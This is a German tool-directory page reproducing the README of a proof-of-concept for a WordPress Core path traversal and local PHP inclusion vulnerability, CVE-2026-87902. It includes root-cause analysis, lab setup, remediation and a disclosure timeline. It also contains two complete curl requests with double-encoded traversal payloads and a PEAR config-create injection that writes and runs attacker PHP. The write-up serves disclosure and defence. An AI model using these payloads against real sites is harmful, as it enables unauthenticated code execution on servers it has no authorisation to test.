Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-87902-poc — PoC für CVE-2026-87902 — unauthentifizierter Path Traversal in der WordPress-Seitentemplate-Auflösung (lokale PHP-Inklusion, bedingte RCE) mit einem gepinnten verwundbaren Lab | Kitploit
Tools/GitHubGitHub/ressl/cve-2026-87902-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationSicherheitsvirtualisierungWebsicherheitPenetrationstestsLabs & Praxis
GitHubressl/cve-2026-87902-poc

cve-2026-87902-poc

PoC für CVE-2026-87902 — unauthentifizierter Path Traversal in der WordPress-Seitentemplate-Auflösung (lokale PHP-Inklusion, bedingte RCE) mit einem gepinnten verwundbaren Lab

Repository anzeigen
317vor 1 TagNoch nicht geprüft
Webseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-87902 — WordPress Core: unauthentifizierter Path Traversal in der Auflösung von Seiten-Templates

Unauthentifizierte lokale PHP-Dateieinbindung in WordPress Core über einen doppelt kodierten pagename-Wert — und unter bestimmten Deployment-Bedingungen PHP-Codeausführung mit den Rechten des Web-Server-Kontos.

CVECVE-2026-87902
HerstellerhinweisGHSA-7hp8-65ch-5whp
Write-upCVE-2026-87902: Critical WordPress file inclusion and conditional RCE
BetroffenWordPress Core 4.7.0 – 7.1.1 (jeder Branch, gemäß den Branch-spezifischen Bereichen des Hinweises); dynamisch reproduziert auf 7.0.2
Behoben7.1.2 (7.1-Branch), 7.0.6 (7.0-Branch) und ein Backport für jeden Branch bis hinunter zu 4.7.37 (gemäß dem Hinweis)
SchwachstellenCWE-98 (improper control of filename in include), CWE-22 / CWE-23 (path traversal)
CVSS v3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 High
CVSS v4.0 (ergänzend)CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critical
Authentifizierungkeine — kein Konto, Cookie, Nonce, Session, Plugin oder ausgehender Request
Benutzerinteraktionkeine
AutorRobert Ressl — ressl.ch
PoC verifiziert2026-09-22 gegen das Lab in diesem Repository — siehe Verifizierte Ergebnisse

Zusammenfassung

WordPress löst ein Seiten-Template über eine Kette auf, die nie beweist, dass die ausgewählte Datei innerhalb eines Theme-Roots bleibt:

  1. pagename und page_id sind öffentliche Query-Variablen, die WP::parse_request() aus einem anonymen POST-Body akzeptiert.
  2. Ein doppelt kodierter Traversal in pagename übersteht die frühe Query- Bereinigung als escapte %xx-Oktette (wp_basename() kann %2f nicht als Trennzeichen erkennen, und sanitize_title_with_dashes() behält gültige Oktette bewusst bei).
  3. Eine gültige page_id wählt dann eine echte veröffentlichte Seite aus, während der bösartige pagename im Query-Objekt verbleibt.
  4. get_page_template() ruft später urldecode() auf diesen Wert auf und fügt einen Kandidaten wie page-templates/../../../../../../../usr/local/lib/php/pearcmd.php zur Template-Hierarchie hinzu.
  5. locate_template() und der finale Template-Loader prüfen nur Existenz, Lesbarkeit und das .php/.html-Suffix — niemals, ob der kanonische Pfad noch innerhalb eines erlaubten Theme-Roots liegt — und includen ihn dann.

Das ist ein unauthentifiziertes Remote-Local-File-Inclusion-Primitiv in WordPress Core. Auf der getesteten offiziellen Runtime (wordpress:php8.3-apache, die PEAR mitbringt und keine php.ini lädt, sodass register_argc_argv On ist), wurde die Einbindung über PEARs pearcmd.php verkettet: Ein erster anonymer Request lässt config-create angreiferkontrolliertes PHP nach /tmp schreiben, ein zweiter anonymer Request bindet diese Datei ein und führt sie als www-data aus.

Die fehlende Pfad-Eingrenzung in Core ist die Schwachstelle. PEAR ist nur eine umgebungsabhängige Route von der Einbindung zur Codeausführung — es ist keine WordPress-Abhängigkeit und in nicht jedem Deployment vorhanden oder nutzbar.

Ursache

Verifizierte Quellcode-Stellen (WordPress 7.0.2):

#StelleRolle
1wp-includes/class-wp.php:18,322-330pagename und page_id sind öffentliche Query-Vars und werden aus $_POST gelesen
2wp-includes/class-wp-query.php:2205sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f ist für wp_basename() kein Trennzeichen
3wp-includes/formatting.php:2283-2289sanitize_title_with_dashes() behält gültige %xx-Oktette bei, anstatt sie zu entfernen
4wp-includes/template.php:492$pagename_decoded = urldecode( $pagename ); — der Traversal wird nach der Bereinigung aktiv
5wp-includes/template.php:722-736locate_template() konkateniert den Kandidaten unterhalb jedes Theme-Roots und ruft nur file_exists() auf
6wp-includes/template-loader.php:116-132realpath() normalisiert den Pfad, dann läuft include ohne kanonische Root-Containment-Prüfung
7wp-includes/canonical.php:42-47redirect_canonical() kehrt bei Nicht-GET/HEAD früh zurück, sodass ein POST nicht wegkanonisiert wird

Voraussetzungen

Das eigenständige Einbindungs-Primitiv benötigt:

#VoraussetzungGrund
1Eine veröffentlichte, anonym erreichbare Seite, ausgewählt über numerische page_iddie Seite muss von der Query zurückgegeben werden, nachdem die Pfadnamen-Suche fehlschlägt
2Kein früher auflösbares benutzerdefiniertes Seiten-Templateein gültig zugewiesenes Template wird vor dem bösartigen Kandidaten geordnet
3Ein Top-Level-Verzeichnis im aktiven (Child- oder Parent-)Theme, dessen Name mit page- beginnt, z. B. page-templates/WordPress stellt das feste Präfix page- voran, sodass ein ..-Traversal nicht an Position 0 beginnen kann; das Verzeichnis muss nur existieren und durchquerbar sein — es muss nicht beschreibbar sein
4Eine ausgewählte lokale .php-Datei, die existiert und für den PHP-Benutzer lesbar istder Loader prüft is_file()/is_readable() und erfordert ein .php-Suffix
5Keine Dateisystem-Eingrenzung, die diese Datei blockiertein open_basedir oder eine MAC-Policy kann die Einbindung verhindern

Die demonstrierte PEAR-Stufe benötigt zusätzlich eine lesbare pearcmd.php (samt ihrer Abhängigkeiten), register_argc_argv=On für die Web-SAPI und ein beschreibbares Ausgabe- verzeichnis. Produktions-php.ini-Dateien setzen register_argc_argv=Off; das getestete Image lädt keine php.ini, sodass der kompilierte Standard (On) galt. Dies ist eine wichtige Einschränkung für die Verbreitung der demonstrierten Codeausführungs-Kette.

Die mitgelieferten Themes Twenty Twenty-Three/Four/Five enthalten kein Top-Level-page-*- Verzeichnis, daher benötigt das Standard-Lab das unten beschriebene Fixture. Benutzerdefinierte Themes können legitimerweise ein page-templates/-Layout verwenden (WordPress-Dokumentation).

Der Hinweis dokumentiert, wo diese Bedingungen in ausgelieferter Software auftreten: Die Theme- Bedingung wird von den Legacy-Themes Twenty Twelve und Twenty Fourteen sowie von Drittanbieter-Themes wie Neve, Hestia und Sydney erfüllt, während der PEAR-Übergang für das offizielle PHP-Docker-Image und für Standard-cPanel-Konfigurationen gilt, die PHP älter als 8.5 ausführen. (Twenty Twelve und Twenty Fourteen liefern beide ein Top-Level-page-templates/-Verzeichnis; die übrigen Aussagen stammen aus dem Hinweis.) Dieses Repository misst nicht, wie oft die vollständige Kette zutrifft.

Schnellstart

root@kitploit:~
./lab/up.sh            # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py   # two anonymous POSTs, prints the proof marker

cve-2026-87902.py benötigt Python 3.6+ (nur Standardbibliothek) und erreicht das Lab unter http://127.0.0.1:8091 standardmäßig. Erwartete Ausgabe:

root@kitploit:~
[*] target        : http://127.0.0.1:8091
[*] page id       : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7       : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal     : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file  : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker        : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof         : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges

Der Exit-Code ist 0 bei Erfolg und 1 andernfalls, sodass der PoC auch als Regressions-/Erkennungsprüfung funktioniert.

Teardown: docker compose down -v.

Verifizierte Ergebnisse

Ausgeführt am 2026-09-22 gegen dieses Lab (Docker 29.4, OrbStack, Apple Silicon):

PrüfungErgebnis
Stufe 1HTTP 200; /tmp/wp-pear-rce-flag.php geschrieben als www-data:www-data, Modus 0644, 1219 Bytes
Payload SHA-256460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — identisch mit dem im ursprünglichen Bericht aufgezeichneten Hash
Stufe 2HTTP 200; das injizierte PHP gab das Proof-Artefakt mit Modus 0444 aus
Marker-Vorkommen12 (PEAR serialisiert den kontrollierten Root-Wert in 12 Konfigurationseinträge)
Verwendete Credentialskeine — kein Cookie- oder Authorization-Header in irgendeinem Request
Negativkontrollepage-templates/ entfernt → Stufe 2 gibt die normale Seite zurück, kein Marker, Exit-Code 1

Das Proof-Artefakt ist /flag, root-eigen und weltweit lesbar (root:root, Modus 0444) innerhalb des Containers. Es beweist PHP-Ausführung und Dateizugriff als Web-Server-Konto; es ist kein Privilegien-Eskalationsziel.

Wie die Kette funktioniert

Zwei anonyme POSTs. WordPress-Routing-Werte reisen im Form-Body, die PEAR-Argumente im rohen Query-String (PHP teilt den rohen Query-String an literalem + in argv auf und URL-dekodiert die einzelnen Argumente nicht):

root@kitploit:~
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>"   # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php"                                              # output file

Stufe 1 — pearcmd.php einbinden und die Payload schreiben:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'

Stufe 2 — die generierte Datei einbinden und ihr PHP ausführen:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'

Wichtige Details:

  • Zwei Kodierungsschichten. Der Body wird einmal von PHP zu templates%2f%2e%2e%2f... dekodiert; der Sanitizer behält diese Oktette bei, und nur das späte urldecode() von get_page_template() verwandelt sie in / und ...
  • page--Präfix. WordPress stellt page- dem Wert voran, sodass das Fixture- Verzeichnis page-templates/ dem führenden templates-Segment entspricht.
  • Erzwungenes .php-Suffix. Der Kandidat ist page-<decoded>.php, weshalb das Ziel ohne Suffix angegeben wird (.../pearcmd, /tmp/wp-pear-rce-flag).
  • POST, nicht GET. redirect_canonical() überspringt Nicht-GET/HEAD-Requests, und der Form-Body lässt den Query-String nur die PEAR-Argumente tragen.
  • Quote-freie Payload. wp_magic_quotes() läuft auch über $_SERVER, sodass das server-gebaute argv escapt wird und PEAR später die Backslashes normalisiert. Die verifizierte Payload verwendet chr() und enthält keine Quote-Zeichen. (Sie reduziert sich zu <?=file_get_contents('/flag')?>.)
  • config-create-Root-Pfad. PEAR lehnt einen relativen Root ab (Root directory must be an absolute path beginning with "/"), sodass die Payload als Root-Pfad selbst injiziert wird.
  • Tiefe. cve-2026-87902.py läuft ..-Segmente ab, bis der Traversal das Ziel erreicht (7 für das Layout dieses Labs, --depth zum Fixieren).

Lab

lab/up.sh führt drei Schritte aus und kann gefahrlos erneut ausgeführt werden:

  1. docker compose up -d --build --wait — gepinntes wordpress:7.0.2-php8.3-apache plus mysql:8.4, Port 127.0.0.1:8091 (nur Loopback).
  2. Führt den WordPress-Installer aus (admin / adminadmin), falls die Seite noch nicht installiert ist.
  3. Erstellt das Fixture innerhalb des aktiven Themes und gibt es aus: wp-content/themes/twentytwentyfive/page-templates/, root:root, Modus 0755, leer.

Das Lab-Image fügt register_argc_argv=On explizit hinzu (lab/Dockerfile), anstatt sich auf den kompilierten Standard zu verlassen, und backt /flag ein (root:root, Modus 0444, Inhalt CVE-2026-87902-POC-OK).

KomponenteWert
WordPress7.0.2 (wordpress:7.0.2-php8.3-apache)
PHP / SAPI8.3.33, Apache-Modul
PEAR1.10.18 unter /usr/local/lib/php/pearcmd.php
MySQL8.4
register_argc_argvOn
ThemeTwenty Twenty-Five + leeres root-eigenes page-templates/-Fixture
Ziel-Seiteveröffentlichte Sample Page, ID 2, Standard-Template
Proof-Artefakt/flag, root:root, Modus 0444

Der rollierende Tag wordpress:php8.3-apache ist für dieses Lab nicht nutzbar: Der Bug ist in 7.1.2 behoben und ein nicht gepinnter Tag macht das Lab stillschweigend gepatcht.

Negativkontrollen und Einschränkungen

Verifizierte oder dokumentierte Kontrollen:

  • Kein Top-Level-page-*-Verzeichnis im Theme → das feste Präfix kann nicht entfernt werden und der Traversal beginnt nie (verifiziert: Fixture entfernt → kein Marker).
  • register_argc_argv=Off → kein PEAR-Writer, aber das Einbindungs-Primitiv bleibt bestehen.
  • PEAR oder seine Abhängigkeiten fehlen → kein Writer.
  • Falsche Anzahl von ..-Segmenten → Ziel nicht erreicht (verifiziert: Tiefen 1-6 und 8-12 erzeugen keinen Marker im Lab).
  • Ein benutzerdefiniertes Seiten-Template, das der Seite zugewiesen ist → wird vor dem bösartigen Kandidaten geordnet und gewinnt.
  • Eine Datei ohne Suffix (z. B. /flag) kann nicht direkt gelesen werden — dem Kandidaten wird .php angehängt.
  • Ein WAF/CDN/Reverse-Proxy, der rohe <-, >-, =-Bytes im Request- Target ablehnt, bricht den PEAR-Argumentkanal (deployment-spezifisch).
  • open_basedir/MAC-Eingrenzung oder ein nicht beschreibbares Ausgabeverzeichnis bricht die Kette; noexec auf /tmp nicht (PHP liest und interpretiert die Datei).

Dieser PoC reproduziert eine verifizierte Konfiguration. Er behauptet nicht, dass jede WordPress-Installation ausnutzbar ist, und er misst nicht die Verbreitung.

Behebung

  • Upgrade auf WordPress 7.1.2 oder neuer (oder auf den Backport Ihres Branches).
  • Defense in Depth für die Template-Behandlung: nach dem Dekodieren Traversal und absolute Kandidaten ablehnen (z. B. validate_file()), und vor dem Einbinden eines lokalisierten Templates realpath() von Kandidat und Theme-Root mit einem abschließenden Verzeichnistrennzeichen vergleichen.
  • Betreiber-Mitigationen: register_argc_argv=Off für Web-SAPIs setzen, ungenutzte web-lesbare PEAR-Einstiegspunkte aus Produktions-Images entfernen, Child- und Parent-Themes auf Top-Level-page-*-Verzeichnisse prüfen und Schreibzugriff für das PHP-Konto einschränken.

Dateien

PfadZweck
cve-2026-87902.pyExploit: Seitenerkennung, beide Stufen, Tiefenbehandlung, Marker-Verifikation
lab/up.shbringt das Lab in den exakten Zustand, den der Exploit erwartet (idempotent)
docker-compose.ymlWordPress 7.0.2 + MySQL 8.4, nur Loopback-Port
lab/Dockerfilepinnt die verwundbare Release, setzt register_argc_argv=On, backt /flag ein
lab/flagInhalt des Proof-Artefakts

Offenlegungs-Zeitplan

DatumEreignis
2026-07-20Privat über das WordPress-HackerOne-Programm gemeldet
2026-07-21Eingang bestätigt
2026-09-15Informiert, dass ein Fix für eine kommende Release geplant war; Attributionsdetails angefragt
2026-09-22WordPress 7.1.2 mit dem Fix veröffentlicht; Hinweis GHSA-7hp8-65ch-5whp publiziert

Der Bericht wurde als gültiger Sicherheitsbefund akzeptiert, nachdem seine ursprüngliche Klassifizierung überarbeitet wurde; die Korrespondenz datiert diese Akzeptanz nicht.

Haftungsausschluss

Dieses Repository wird für defensive und Forschungszwecke veröffentlicht. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie ausdrücklich autorisiert sind zu testen. Das Lab ist an 127.0.0.1 gebunden und darf nicht unvertrauenswürdigen Netzwerken ausgesetzt werden.

Lizenz

MIT — siehe LICENSE. Zitations-Metadaten befinden sich in CITATION.cff:

Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch

Der Schwachstellenbericht und dieser PoC wurden mit KI-Unterstützung für Organisation und Konsistenzprüfung erstellt; der Forscher ist für die technischen Aussagen verantwortlich.

Tool herunterladen